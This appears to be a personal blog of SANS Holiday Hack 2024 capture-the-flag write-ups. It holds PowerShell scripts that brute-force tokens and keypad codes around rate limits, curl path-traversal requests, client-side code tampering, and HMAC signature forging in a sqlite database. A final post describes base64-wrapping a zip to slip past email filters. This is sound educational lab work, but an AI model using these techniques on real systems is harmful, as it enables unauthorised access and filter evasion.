$tokens = @("04886164e5140175bafe599b7f1cacc8","664f52463ef97bcd1729d6de1028e41e","3e03cd0f3d335c6fb50122553f63ef78","f2aeb18f5b3f08420eed9b548b6058c3","32b9401a6d972f8c1a98de145629ea9d","3a79238df0a92ab0afa44a85f914fc3b","49c2a68b21b9982aa9fd64cf0fd79f72","f8142c1304efb9b7e9a7f57363c2d286","706457f6dd78729a8bed5bae1efaeb50","bb0564aa5785045937a35a9fa3fbbc73","4173a7bc22aee35c5fc48261b041d064","198b8bf2cd30a7c7fed464cca1720a88","3a7c8ecffeeadb164c31559f8f24a1e7","288e60e318d9ad7d70d743a614442ffc","87ab4cb29649807fdb716ac85cf560ea","89f3ec1275407c9526a645602d56e799","33539252b40b5c244b09aee8a57adbc9","152899789a191d9e9150a1e3a5513b7f","7cd48566f118a02f300cdfa75dee7863","d798a55fca64118cea2df3c120f67569","6ef5570cd43a3ec9f43c57f662201e55","bf189d47c3175ada98af398669e3cac3","743ac25389a0b430dd9f8e72b2ec9d7f","270aabd5feaaf40185f2effa9fa2cd6e","8b58850ee66bd2ab7dd2f5f850c855f8","6fd00cbda10079b1d55283a88680d075","612001dd92369a7750c763963bc327f0","010f2cc580f74521c86215b7374eead6","29860c67296d808bc6506175a8cbb422","7b7f6891b6b6ab46fe2e85651db8205f","45ffb41c4e458d08a8b08beeec2b4652","d0e6bfb6a4e6531a0c71225f0a3d908d","bd7efda0cb3c6d15dd896755003c635c","5be8911ced448dbb6f0bd5a24cc36935","1acbfea6a2dad66eb074b17459f8c5b6","0f262d0003bd696550744fd43cd5b520","8cac896f624576d825564bb30c7250eb","8ef6d2e12a58d7ec521a56f25e624b80","b4959370a4c484c10a1ecc53b1b56a7d","38bdd7748a70529e9beb04b95c09195d","8d4366f08c013f5c0c587b8508b48b15","67566692ca644ddf9c1344415972fba8","8fbf4152f89b7e309e89b9f7080c7230","936f4db24a290032c954073b3913f444","c44d8d6b03dcd4b6bf7cb53db4afdca6","cb722d0b55805cd6feffc22a9f68177d","724d494386f8ef9141da991926b14f9b","67c7aef0d5d3e97ad2488babd2f4c749")

$token = $tokens[0]
$endpoint = $endpoints[0]

Invoke-RestMethod -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225 -WebSession $session

$session = [Microsoft.PowerShell.Commands.WebRequestSession]::new(); $cookie = [System.Net.Cookie]::new('token',$token,'/','127.0.0.1'); $session.Cookies.Add($cookie)

#remember this is counting from 0-9 inclusive meaning 10 times.
for($h=0;$h -le 9; $h++){

$response = Invoke-RestMethod -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225/tokens/$endpoint  -WebSession $session

$cookie2 = [System.Net.Cookie]::new('mfa_token',$response.split("'")[1],'/','127.0.0.1'); $session.Cookies.Add($cookie2)

Invoke-WebRequest -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225/mfa_validate/$endpoint  -WebSession $session
}

for ($i =1; $i -le 47; $i++){
$token = $tokens[$i]
$endpoint = $endpoints[$i]

$cookie = [System.Net.Cookie]::new('token',$token,'/','127.0.0.1'); $session.Cookies.Add($cookie)

$response = Invoke-RestMethod -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225/tokens/$endpoint  -WebSession $session

$cookie2 = [System.Net.Cookie]::new('mfa_token',$response.split("'")[1],'/','127.0.0.1'); $session.Cookies.Add($cookie2)

$response2 = Invoke-WebRequest -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225/mfa_validate/$endpoint  -WebSession $session

if ($response2.Content -match "Success"){
    $response2.RawContent
    break
}
}

Sunday, November 17, 2024

SANS: Holiday Hack 2024: Act 1: Hardware Hacking 2

 This is another Terminal near Jewel Loggins.

Hardware Hacking 2

Silver Medal

This one isn't as page source involved as Hardware Hacking 1.

The Terminal shows a boot screen.  It's possible to get both silver and gold without interacting with option 2 U-Boot Console.

After booting into option 1, Startup System (Default), There's a message of the day (motd) that shows the instructions for an executable called SLH (Santa's Little Helper).  Jewel Loggins gives hints that says the goal is to add an access of 1 for the card with the id of 42.  He states that you'll need a password to do so and hints that passwords may be in plain sight.  Pressing the up arrow when first logging into commands shows commands that the player didn't type.  There's a file in the home directory of users that saves the bash history called .bash_history.  It's hidden, so to see it, ls -la must be done.  Either pressing up arrow enough, or cat .bash_history, will show a command that simply needs to be manipulated to get the Silver Medal.

Command in Bash History:

slh --passcode CandyCaneCrunch77 --set-access 1 --id 143

Manipulate it to the following to get the Silver Medal:

slh --passcode CandyCaneCrunch77 --set-access 1 --id 42

Gold Medal

Jewel Loggins hints that to get the Gold Medal, the db needs to be manipulated directory instead of using slh.  If ls -la is typed to see the bash history, players will notice another file called access_cards.  Running file -i on that file shows that it is a sqlite3 database.  Looking in /bin or /usr/bin, or simply knowing sqlite3 exists in many distributions of Linux, players will find that they can view and manipulate the db with this application.

sqlite3 access_cards
.tables
Looking at the tables shows the following tables in the access_cards db.
    access_cards config
pragma table_info(access_cards)
# access_cards table columns:
    id uuid access sid
pragma table_info(config)
#config table columns
   id config_key config_value
select * from config;
# the second entry in the config table has an hmac_secret and has a value of 9ed1515819dec61fd361d5fdabb57f41ecce1a5fe1fe263b98c0d6943b9b232e
#The SHA256 hash seems to be the word pizza, but the hash is the key itself, not pizza
# the third entry in the config table has an hmac_message_format with a value of {access}{uuid}
select id,uuid,access,sig from access_cards where id=42;
#id|uuid|access|sig
42|c06018b6-5e80-4395-ab71-ae5124560189|0|ecb9de15a057305e5887502d46d434c9394f5ed7ef1a51d2930ad786b02f6ffd

Jewel Loggins also hints that an hmac needs to be created and gives a hint that cyberchef can be used to create an hmac signature.
The hmac_secret is called a key in Cyberchef.  The key encoding should be UTF8.  The hashing function should be SHA256.  The key/secret itself gives a clue to the hashing type because its length is 64 characters (letters/numbers).  Looking this up gives more than one type of hash possibility, however, hmac in Cyberchef is limited to relatively few options, so finding the correct one isn't that bad.

The db gives the format of the input.  The access that is needed is 1.  Then the uuid of the card with an id of 42 should be appended to that.  The input should look like this:

1c06018b6-5e80-4395-ab71-ae5124560189

Make sure there are no spaces in the key or input in Cyberchef because a space can drastically change the hash.

The correct hash is: 

135a32d5026c5628b1753e6c67015c0f04e26051ef7391c2552de2816b1b7096



Next, the database needs to be manipulated.  In the Hardware Hacking 2 Terminal:

#If the player logged out of the Terminal
Select Option 1 Startup System Default Boot again
sqlite3 access_cards
update access_cards set access=1, sig="135a32d5026c5628b1753e6c67015c0f04e26051ef7391c2552de2816b1b7096" where id=42;

An Access Granted message should appear and the player should be awarded the Gold Medal.  Sometimes it takes a moment to appear because there's a script running that checks the signature change, and it takes time for it to run again.


SANS: Holiday Hack 2024: Act 1: Unshredding Shredded Document & Hardware Hacking 1

The next part is important for the next terminal, Hardware Hacking 1.

Unshredding Shredded Document

Talk to Morcel again after completing the Frosty Keypad.  Click on the green icon in the dock again.  There will be a bag of shredded paper.  In the badge, under hints, Morcel also gives a clue how to piece the shredded pieces back together.  It's a python script.

Most Linux distributions already have python or python3 or both installed.  Sometimes numpy is not included.  In my case, I had to install both pip3 and numpy.  Open a Terminal.

sudo apt install python3-pip
pip3 install numpy
unzip shreds.zip

Note, the new folder after shreds is unzipped is called "slices".

python3 heuristic_edge_detection.py slices

Once that is done, an assembled image pops out.



That looks kind of weird.

Looks like each of the images: The left side image and the right-side image needs to be flipped horizontally individually and connected back together.

I couldn't read every single character, but having dealt with serial communications before, I had an idea.

BAUD: 115200
PARITY: even
DATA: 7 BITS
STOP BITS: 1 BIT
FLOW CONTROL: RTS

Even if that is not known, in the Hardware Hacking 1 challenge, powering on the device and looking at the settings can assist with figuring this out.

Alternatively, print it out, cut it and tape it back together, or use your favorite photo editing software like GIMP to fix it.  I left STOPPITS in the image below because it looks like what was reassembled by the python script. 😁.  It is supposed to be STOP BITS.



Hardware Hacking Part 1:

This Terminal is near Jewel Loggins.

Silver Medal:

This can be done by trial and error, however, looking in the source code for the site is another valid solution, as well as understanding why each cable is a different color, and how to properly wire it, and the correct voltage to use.

Search and Learn Method:


The voltage matters.  In this case 3V are needed, so the tiny switch needs to be switched from 5 V to 3 V.  If this isn't correct, a pretty puff of blue smoke comes out of the device. Thankfully if the voltage is switched, it's fine.  This is hard to see, but in the manual that is shown to begin with, it has a picture with 3V.  This is how this is known.  The voltage is at 5V by default, so the tiny orange button needs to be clicked on the bridge at the bottom.  It's difficult to see but matches what is in the manual.

Identifying the wires by Googling may not be easy. Each of the cables have positive and negative charges.  If they're wired wrong, they can fry the board.  The game seems to start from a new state when the Terminal is opened again, so this can be brute-forced without much penalty that I'm aware of.  Santa's magic, I guess.  Don't know if there's a penalty on the scoreboard - have no idea how that functions in the background.

The device is on the left side - the bridge is on the bottom right side.  The PDA is at the top right side.

An important fact to remember is that the post for transmitting (TX) on the device is cabled to the receiving (RX) post of the bridge.  This also means that the post for receiving (RX) on the device is cabled to the transmitting (TX) post of the bridge.  That means the cables are crossed.  For the voltage (VCC) and ground (GND), the voltage post on the device goes to the voltage post of the bridge.  The ground post on the device goes to the ground post on the bridge.

For each of these, the left side of the cable goes to the device post.  The right side of the cable goes to the bridge post.  

The red cable is for the voltage (VCC).
The orange cable is for transmitting (TX).
The green cable is for receiving (RX)
The black cable is for the ground (GND).

It didn't seem to matter if the black and red cables were switched - ie black for voltage and red for ground.  Note: not crossed, I mean using one cable instead of the other.  A chart for usb I found by doing a Google-search notes the above though.  This could be different for different cables and pinouts.  It's best to consult documentation regarding the specific cables and devices being used.

Connect the wires.

The USB needs to be plugged into the bridge by clicking on the USB.

Make sure the V on the bridge is set to 3V (The tiny orange square will be on the right-side of the tiny white rectangle with either 5V or 3V in it.)

Next click the power button (P) on the device.  Settings can be selected by clicking the up/down arrow buttons on screen.  To change the settings, click the left or right arrow buttons on screen.  Modify them according to the settings in the reassembled shreds.

BAUD: 115200
PARITY: even
DATA: 7 BITS
STOP BITS: 1 BIT
FLOW CONTROL: RTS

Click the Serial button (S) to start a serial connection.  Silver Medal awarded.

Source Code Method:


The colors for the cables and where they correspond to are defined in the connectPins() Method:

    const targetPins = [
      { pin: this.children.getByName('gnd'), dest: this.children.getByName('uGnd'), color: 0x000000 },
      { pin: this.children.getByName('tx'), dest: this.children.getByName('uRx'), color: 0x1bff00 },
      { pin: this.children.getByName('rx'), dest: this.children.getByName('uTx'), color: 0xff8700 },
      { pin: this.children.getByName('v3'), dest: this.children.getByName('uVcc'), color: 0xff0000 }
    ];

VCC = 0xff0000 = red
GND = 0x00000 = black
RX = 0x1bff00 = lime green
TX = 0xff8700 = dark orange

In that same method - connectPins(), there is a loop checking to see if the wires are wired.

    targetPins.forEach((targetPin) => {
      let connectionFound = false;

      jumperWires.forEach((wire) => {
        if (
          wire.female &&
          Phaser.Geom.Intersects.RectangleToRectangle(wire.female.getBounds(), targetPin.dest.getBounds()) &&
          wire.male &&
          Phaser.Geom.Intersects.RectangleToRectangle(wire.male.getBounds(), targetPin.pin.getBounds())
        ) {
          console.log(`Connected ${targetPin.pin.name} (${targetPin.dest.name}) with ${wire.female.name} and ${wire.male.name}`);
          allPinnedUp++;
          connectionFound = true;
          // You can add more logic here for when the connection is made
        }
      });

      if (!connectionFound) {
        console.warn(`No connection found for ${targetPin.pin.name} (${targetPin.dest.name})`);
      }
    });

When the pins are correct it states "All pinned up in the console."

    if (allPinnedUp === targetPins.length) {
      console.log("All pinned up!");
      this.allConnectedUp = true;
    } else {
      this.allConnectedUp = false;
    }
  }

Now we know how to tell if the wires are correctly wired.  We know the colors.  The left side part of the wire goes to the device, and the right side of the wire goes to the bridge.  Once the console says "All pinned up!" we know the wires are ready to go.

In a method called checkConditions(), there are voltage checks.

We can tell 5 volts is incorrect, because if it's 5 volts, all the pins are connected, and the usb has been moved, there is smoke coming out of the device, which is not preferable.  That smell of ozone is very memorable if you've ever fried a board in real life.

      if (this.uV === 5 && this.allConnectedUp && !this.usbIsAtOriginalPosition) {
        const smoked = this.children.getByName('smoked');
        smoked.start();
        this.playAudioForDuration(this.smokey, 3000);
        this.time.delayedCall(3000, () => smoked.stop(), [], this);
      }

If it's 3 volts, there is a check to see if all the serial connection settings are correct.  Then it brings up the serial connection and states to talk to Jewel Loggins.  This is the condition necessary to reach for the silver medal.

    if (this.uV === 3 && this.allConnectedUp && !this.usbIsAtOriginalPosition || this.dev) {
      // console.log("PARTY TIME");
      let checkIt = await checkit([this.currentPortIndex, this.currentBaudIndex, this.currentParityIndex, this.currentDataIndex, this.currentStopBitsIndex, this.currentFlowControlIndex], this.uV)
      if (checkIt) {
        this.popup("success! loading bootloader...\nGo speak with Jewel Loggins for the next step!");
        this.yippee.play();
      } else {
        this.merp.play();
        this.popup("Serial connection couldn't be established...\nPlease check your settings and try again.");
      }

Looking through the code, the settings for the console connection (USB), baud rate, parity, data, stop bites, and flow control index don't seem to be in the code.  It shows the potential settings, but not which ones are correct.  Could be I missed them?

Under the function showHelpScreen(), the settings for the PDA are set (the device on the top right-hand side that does the serial connection.

    const baudRates = [300, 1200, 2400, 4800, 9600, 14400, 19200, 38400, 57600, 115200];
    const dataBits = [5, 6, 7, 8];
    const parityOptions = ["None", "odd", "even"];
    const stopBits = [1, 2];
    const flowControlOptions = ["None", "RTS/CTS", "Xon/Xoff", "RTS"];
    const ports = ["COM1", "COM2", "COM3", "USB0"];

Seems like the information is sent to https://hhc24-hardwarehacking.holidayhackchallenge.com/api/v2/complete according to the checkIt() function.  So it looks like it's checked server-side.  This can still be brute forced by trying options though or finding the shredded papers and unscrambling them.

Note something interesting in that checkConditions() function.  (If(Voltage=3, all the wires are connected, and usb is moved from its original condition) OR (this.dev)).  When something is by itself like that without a condition, it means OR this.dev must be true.  What's dev?  Where is it?

At the beginning of the code it states:

this.dev = false;

What happens if that's changed to true?

this.dev = true

And uncomment the PARTY TIME line in the checkConditions() function.

Press the P button (for power).  Pressing the P button, it powers on without the usb being plugged in, and without a Voltage.

It seems to get past the first check, as evidenced the PARTY TIME being shown in the console, however, the settings have to be set to pass the next check to pop the serial connection.

Change if(checkit) to if(!checkit)

Press S (for serial).  Success!  It doesn't give gold though because this is an unintended solution. :(  Not sure if it works for silver.  I didn't test.

Gold Medal

The key to this one is the dev=true and checkIt() function found earlier.

this.dev earlier in the code needs to be set to true to bypass the first if statement in the checkConditions() function.

The following is the checkIt() function.

async function checkit(serial, uV) {
  // Retrieve the request ID from the URL query parameters
  const requestID = getResourceID(); // Replace 'paramName' with the actual parameter name you want to retrieve

  if (!requestID) {
    requestID = "00000000-0000-0000-0000-000000000000";
  }

  // Build the URL with the request ID as a query parameter
  // Word on the wire is that some resourceful elves managed to brute-force their way in through the v1 API.
  // We have since updated the API to v2 and v1 "should" be removed by now.
  // const url = new URL(`${window.location.protocol}//${window.location.hostname}:${window.location.port}/api/v1/complete`);
  const url = new URL(`${window.location.protocol}//${window.location.hostname}:${window.location.port}/api/v2/complete`);

  try {
    // Make the request to the server
    const response = await fetch(url, {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({ requestID: requestID, serial: serial, voltage: uV })
    });

    // Check if the request was successful
    if (!response.ok) {
      throw new Error('Network response was not ok: ' + response.statusText);
    }

    const data = await response.json();
    console.log("Data", data)
    // Return true if the response is true
    return data === true;
  } catch (error) {
    console.error('There has been a problem with your fetch operation:', error);
    return false;
  }
}

Notice there's a commented line about changing from v1 to v2 in the checkIt() function because some resourceful elves brute forced their way through v1 and that v1 SHOULD not be active now?

uncomment v1 by removing the // near  // const url = new URL(`${window.location.protocol}//${window.location.hostname}:${window.location.port}/api/v1/complete`);

Add a comment for v2.  By placing // next to  const url = new URL(`${window.location.protocol}//${window.location.hostname}:${window.location.port}/api/v2/complete`);

The try block under the checkIt() function is just looking for the requestID, serial, and voltage.

The game should get the requestID when you load the Terminal in Holiday Hack 2024.  The serial is an array containing [3,9,2,2,0,3]. and the voltage should be 3.  These settings can be seen in the Network tab in Chrome if the silver medal is done near the same time as the gold medal.  I think it's possible the requestID changes over time - like it times out.  I don't know for sure.  The serial and voltage will be the same at least.

The checkIt() function is called by the checkConditions() function.  checkIt() is passed the following values according to the checkconditions() function:

checkit([this.currentPortIndex, this.currentBaudIndex, this.currentParityIndex, this.currentDataIndex, this.currentStopBitsIndex, this.currentFlowControlIndex], this.uV)

None of these values matter because we are going to manually adjust them in the checkIt() function.

All of those, except for the voltage are settings for the serial connection.  They should look familiar: Port for Serial Port, Baud, Parity, Data, Stop Bits, and Flow Control.  When it's passed in, those settings are renamed to "serial" and placed in an array.  If the serial value passed in is confusing it soon won't be.  

Under the function showHelpScreen(), the settings for the PDA are set (the device on the top right-hand side that does the serial connection.

    const baudRates = [300, 1200, 2400, 4800, 9600, 14400, 19200, 38400, 57600, 115200];
    const dataBits = [5, 6, 7, 8];
    const parityOptions = ["None", "odd", "even"];
    const stopBits = [1, 2];
    const flowControlOptions = ["None", "RTS/CTS", "Xon/Xoff", "RTS"];
    const ports = ["COM1", "COM2", "COM3", "USB0"];

The first number (3) is the serial port index.  Remember computers count from 0.  The options are COM1, COM2, COM3, and USB0.  COM1=0, COM2=1, COM3=2, and USB0=3.  The next number is the BAUD.  Position 9 matches with the 115200 setting it needs to be.  The next option is the PARITY.  Position 2 is even.  The next setting passed is the DATA.  Position 2 is 7.  The next option passed is the STOP BITS.  Position 0 is 1.  The last option passed is the flow Control.  Position 3 is RTS.

The voltage is set to 3 like it says in the source code.  Knowing this info, a POST request can be sent to https://hhc24-hardwarehacking.holidayhackchallenge.com/api/v1/complete with the json formatted data after the v1 line is changed so that it is not commented, and the v2 line is commented out as described above.

The data looks like this in json:

{"requestID":"YOUR ID","serial":[3,9,2,2,0,3],"voltage":3}

This can be changed in the checkIt() function in the try block:

  try {
    // Make the request to the server
    const response = await fetch(url, {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({ requestID: requestID, serial: serial, voltage: uV })
    });

After the changes described are made, and the S button is pressed, a serial connection screen should appear and the gold for HWH1 should be awarded.

There's another place to visit on that site shown in the source code:

Check out function dad. Lolz

https://hhc24-hardwarehacking.holidayhackchallenge.com/joke


SANS: Holiday Hack 2024: Act 1: cURLing & Frosty Keypad

cURLing

This is the Terminal near Bow Ninecandle in the Front Yard (Act 1).  I love their play on the word curling which is a sport in the Olympics, but they're referring to using the curl tool. :)

man curl - tells the potential options for curl.  This is useful to find any unknown parameters for curl.  RTFM and all. :)

Silver Medal:

Just do what the terminal asks to be done.

curl curlingfun:8080
curl -k https://curlingfun:9090
curl -k https://curlingfun:9090 -d "skip=alabaster"
curl -k https://curlingfun:9090 -b "end=3"
curl -k https://curlingfun:9090 -v
curl -k https://curlingfun:9090 -H "Stone: Granite"
curl -k https://curlingfun:9090/../../etc/hacks --path-as-is

Gold Medal:

Spent way too long trying to get the original commands into three commands using the :- AKA --next parameter in curl.  Then decided to check the Terminal for another file.

Then it made sense.

ls -la
cat HARD-MODE.txt

The items described in this file were already done for the silver medal, just different information.

curl -k https://curlingfun:9090 -d "skip=bow" -b "end=10" -H "Hack: 12ft"
curl -k --path-as-is https://curlingfun:9090/../../etc/button

The following was the only one that wasn't covered in the silver medal curling.  man curl to the rescue again.

curl -k -L https://curlingfun:9090/GoodSportsmanship


Jewel Loggins is next to Hardware Hacking 1 and Hardware Hacking 2 Terminals.  He recommends talking to Morcel Nugget because there was a note with the settings on it.

Frosty Keypad


Morcel Nuggest states that an important document was shredded and that a clue was placed on the keypad to the Shredder McShreddin 9000.  He also states that there is a book lying around somewhere that might be useful.  These are clues for the next Terminal Frosty Keypad.

Silver Medal:

The book isn't difficult to find.  In the 2024 Holiday Hack Challenge, Act 1 (The Front Yard) In Chrome, Right-Click and Inspect, then open the Elements tab.  Ctrl-F, Search the code for your player name.  Right above it says: data-location="<some x coordinate>,<some y coordinate>".  With the Developer Tools still open, move the character up and down, left and right, and watch that number change.  Next search for the book in that same tab.  Then simply move your character to those coordinates.  It sounds more complicated than it is.

Next, click on the Frosty Keypad.  There's a sticky note.  Take note of the numbers from left to right, top to bottom, exactly as they are.

2:6:1, 4:19:3, 6:1:1, 3:10:4, 14:8:3

Open the Frosty Book in the Items menu in the player badge (it's the green i icon in the dock).  The numbers above are what is called an Ottendorf cipher, or what is more commonly known as a book cipher.  Morcel Nouget hinted about it in the hints by saying "Who are you calling a dorf?"  He also mentions whatever is in there might be a National Treasure, in reference to the movie National Treasure because the book cipher was used to solve a puzzle in that movie.  It's fairly simple.

For 2:6:1: Go to page 2, word 6 in the Frosty Book, and choose the first character.  In this example, the word is SNUG.  The first letter is S.  

For 4:19:3: page 4, word 19, the third letter.  The word is WHAT.  The second letter is A.  (The question here was whether NEW-FALLEN was one word or two.  Since there's a dash/hyphen it counts as one, apparently)

For 6:1:1: NOW.  The third letter is N.

You can probably see where this is going, but let's do the last two:

For 3:10:4: CLATTER - which means the fourth one is T

For 14:8:3: TEAM - which means the fifth one is A

Those decoded letters spell SANTA.  The keypad accepts numbers though.  How do we correlate those letters to numbers?

If you look at a phone, the numbers correspond to letters.  Example: 2 is ABC. 3 is DEF, 4 is GHI, 5 is JKL, 6 is MNO, 7 is PQRS, 8 is TUV, and 9 is WXYZ.

The numbers corresponding to those letters are 72682.

Type in those numbers into the Frosty Keypad.  Then talk to Morcel Nugget.  Morcel informs us that there is another code.

Gold Medal:

For this one the hint is given from Morcel that maybe a UV light can be used to see which buttons on the keypad were pressed last (due to them still having residual heat and fingerprints may be visible).

Again, right-click Inspect in Chrome and click the Elements tab.  Search for your player-name.  Check for the player coordinates.  Then search for the light and move the character in that direction. (You could probably manipulate the code client side and just add the flashlight, but I didn't check.  What's the fun in that?)

Get the flashlight.  Go to the Frosty Keypad and the light should be available.  Left click on the light and keep holding the left mouse button.  Move it over the numbers.  Some numbers should have fingerprints.  They are 2,2,6,7,8.  Hey that looks familiar?  Still the same numbers as before.  However, we need a different permutation.

Ok.  Math... not a fun topic for me.  Not even sure if I'm correct, but I'm including my thought process, anyway.  From the other code for the silver medal, it is known that the combination to the keypad is 5 digits.  We know that each digit can be any of the numbers we discovered.

The first digit in the combination is either 2,2,6,7, or 8 which makes 5 possibilities for that 1st digit.  We're assuming we can't reuse numbers any of these numbers (except for the 2 because it's used twice).  The next digit in the permutation can only be four of those possibilities.  Then the next digit can only be 3 of those possibilities, and so on and so forth.  

Kind of remember some math from a while ago.  The number of permutations is found like this:

5*4*3*2*1 or 5! - that's 5 factorial.  When those numbers are multiplied together, that gives 120 possible permutations of those numbers for a 5-digit combination keypad.  However, since two of the digits are the same, that means that one could have 22678 as the possibility, and 22678 as the possibility again because the 2's could be chosen twice (due to 2 being used twice in the keypad) and happen to be chosen right next to each other.  This means unique permutations would have to be found.

Someone else did the work for me.  Why reinvent the wheel?  I used the following Powershell Commandlet.


Use a VM cut off from the host and the network.  Then open Powershell ISE.  Add the code for the new function in the code editor usually in the white area at the top, Double check to make sure there isn't evil in the commandlet, then click the green play button icon at the top above the code editor, to import the function.  Then: 

Get-StringPermutation -String "22678" | Select -Expand Permutation | Sort -Unique | Out-file -Encoding ascii permutations.txt

Just because I was curious, I did:
 
Get-StringPermutation -String "22678" | Select -Expand Permutation | Sort -Unique | Measure-Object 

I wanted to see how many permutations there were after de-duping with Sort -Unique.  There were 60.  

I guess intuitively that makes sense.  5 possibilities for the first digit, 4 possibilities for the second digit, 3 possibilities for the third digit, and then really there is only one possibility for the last couple digits or 5*4*3*1*1 or 60.  

Could be the script or I was wrong I suppose.  I'm not a mathematician.  Don't take math I do on here seriously.

Next, I wrote a Powershell script to try each combination.  

By studying the way the application functions in Chrome Developer Tools, a post request must be sent to https://hhc24-frostykeypad.holidayhackchallenge.com/submit?id=null.  It must contain json formatted data in the format of {"answer":"whatever the guess is"}

The code here will look bad.  There's a pic of the final code below.

1st Attempt:

foreach($line in [System.IO.File]::ReadLines("C:\Users\User\Downloads\permutations.txt")){
    $Body = @{"answer"="$line"} | ConvertTo-Json
        $response = Invoke-RestMethod -Uri "https://hhc24-frostykeypad.holidayhackchallenge.com/submit?id=null" -Method Post -Body $Body -Headers @{"Content-Type"="application/json"} -ErrorAction SilentlyContinue
        $line
}

Error Message - Limited to 1 Request Per Second.  Rate Limiting - oh joy.

Attempt 2:

foreach($line in [System.IO.File]::ReadLines("C:\Users\User\Downloads\permutations.txt")){
    $Body = @{"answer"="$line"} | ConvertTo-Json
        $response = Invoke-RestMethod -Uri "https://hhc24-frostykeypad.holidayhackchallenge.com/submit?id=null" -Method Post -Body $Body -Headers @{"Content-Type"="application/json"} -ErrorAction SilentlyContinue
        $line
    Start-Sleep -Seconds 1.5
}

Error Message - The data you've provided seems to have gone on a whimsical adventure, losing all sense of order and coherence

Still getting an error, but one response doesn't have an error.  What if I try a try catch block?  Powershell is weird in that there are some errors that will show up even if you do -ErrorAction SilentlyContinue.  In order to handle those errors, a try catch block should be used.  In this case, I really don't care about the error or how to handle it, so I'm telling it to do nothing.

Attempt 3:

foreach($line in [System.IO.File]::ReadLines("C:\Users\User\permutations.txt")){
    $Body = @{"answer"="$line"} | ConvertTo-Json
    try{
        $response = Invoke-RestMethod -Uri "https://hhc24-frostykeypad.holidayhackchallenge.com/submit?id=null" -Method Post -Body $Body -Headers @{"Content-Type"="application/json"} -ErrorAction SilentlyContinue
        $line
    }
    catch{
    }
    Start-Sleep -Seconds 1.5
}

Finally got it - just took a bit off time to run because of the rate limiting.  There are two possible combinations with those numbers.  The SANTA one we discovered with the book cipher, and one more.

Click on the pic to enlarge it.


Wonder if this one is a word? 22786?

Using the letters on the phone...

There are many possibilities.  I think my favorite is carvo.  Caramel infused vodka.  Sounds like it might be ok to try since I'm over the age where I'm permitted to try this beverage in my country.

Open the Frosty Keypad Terminal and type in 22786 enter, then the gold medal is awarded for this Terminal.














Wednesday, November 13, 2024

SANS: Holiday Hack 2024: Prologue

It's that time of year again!  SANS Holiday Hack Challenge.  Looks like the Counter Hack crew are changing up things a bit.  They have a scheduled release for each section of the challenge and are allowing write-ups to be posted a week after each section starts.  

I don't expect to complete the challenge, but that's not important.  Part of the fun is learning, and I learn something from every challenge I attempt.  I did do the last few years' challenges, but didn't post them.  This time around, I intend to post it whether I complete it or not.

The prologue was a fun little puzzle.  Not efficient solutions but they passed the objectives.

First Terminal

This one is easy.  Click on the Raspberry Pi Terminal near Jingle Ringford, and click into the top of the Terminal as described and type answer.

Elf Connect

The next Terminal is the Elf Connect Terminal near Angel Candysalt.  The game can be played normally, as described in the rules, to get the Silver Trophy.  

To get the Gold Trophy, the score needs to be manipulated. The Source Code can be viewed and manipulated by using Chrome Browser Developer Tools as shown in the video below.

Start the Terminal near Angel Candysalt, Click the "Click Anywhere to begin" button to get the rules off the screen, right-click, Inspect.  Then change to the Elements tab if it doesn't already place you there.  After that, look for the link to the game.  The link was in body in the iframe.  Right-click the link and select "Load in New Tab".

Go to the new Tab with the Elf Connect game loaded, Right-click and click Inspect again.  This can also be done in the full challenge window, but it's not as easy to see which code belongs to just the Elf Connect terminal itself.  If you're new to this, having the code just linked to the game in plain view makes it easier.

Play the game and see how it functions.  In the Application Tab, there's an area for Local Storage.  The score and round number are stored in this area.  Manipulating just this value doesn't seem to change the score because it's reset when the level is played and the score changes.

Go to the Console tab and type:

score+=score+1000000

Then play a round.  The next time you score, the score is updated but 1000000 is added to it.  This is how to get the Gold Trophy for this game.


Elf Minder

The next Terminal is Elf Minder, near Poinsetta McMittens.

Again, this one can be played legitimately.  Yes, even the Crate Caper level.  It's just important to understand how each of the entities function.  Entities are the items you can put into play like the tunnels and springs.

There are 12 levels visible at the start of the game.  Complete those to get a Silver Trophy.

A final level, A Real Pickle, is unlocked after the first levels are complete.

The game usually limits the springs to 2 and the portals/tunnels to 2, however, the source code can be manipulated to change that.

Again, Developer Tools in Chrome was used for this puzzle as described in the Elf Connect Terminal write-up/video above.

if (existingSprings.length === 2){
    //remove just the oldest spring
    const oldestSpring = game.entities.findIndex(entity => entity[2] === EntityTypes.SPRING);
    game.entities.splice(OldestSpring, 1);
}

Just change the 2 in the if statement to a number of your choosing like 500 for example.

The portals/tunnels are a different animal.  They can be manipulated, however, there was an error popped when more than two were used like the elf couldn't figure out where to go.

The puzzle can be solved without manipulating the number of portals.

The portal locations and the spring locations can be manipulated as well.  The game is laid out in a coordinate plane.  1,1 is the top left, all the way to 1,13 at the right.  Then the next row down is 2,1 to 2,13.  Each item placed is stored in Local Storage under the Application tab in Developer Tools in Chrome.  There is one entry in local storage for each level.  Example:  There would be a line for Sandy Start which would have entities and segments next to it.  Then a different line for A Real Pickle and so on a so forth.  The portals and tunnels go into an array called "entities".  The path segments go into an array called "segments".  

There are some rules that are checked server side as well as client side so commenting out those sections in the client-side code doesn't affect it server side, so the level doesn't count as being complete and an error pops up relating to that condition.  

Some things that should be checked are not.  Example: A tunnel can be placed on a boulder block and a segment can go to and from that tunnel.  Normally this wouldn't be allowed.

The points in either the segments or the entities can be manipulated making it possible to break rules.  Example: You can have a tunnel coming off the start square instead of the square nearby.  The video shows more detail of this.



Wednesday, September 6, 2023

It's Just A Text File...

Had to figure out a creative way to send an executable to someone.  This isn't a new method by any means-more of a reminder of how important security awareness training is.

Person didn't want to use OneDrive, Dropbox, or a myriad of other methods to share files.  Their e-mail blocked a bunch of different file formats including a password protected zip.

So I sent them a text file containing the base64 encoded version of a password protected zip that contained the executable I needed to send.

Then I sent instructions about how to decode it with multiple different methods in case one failed and the password without saying pass or password-just that they would need it and what it is.

Now imagine I'm a social engineer tricking people into doing this and downloading/running a dropper for me or I'm someone keen on bypassing DLP.  

People say, "There's no way someone would try that." My question is why not?

They said the same thing when I told a vendor at my former job that a social engineer could send a malicious QR code.

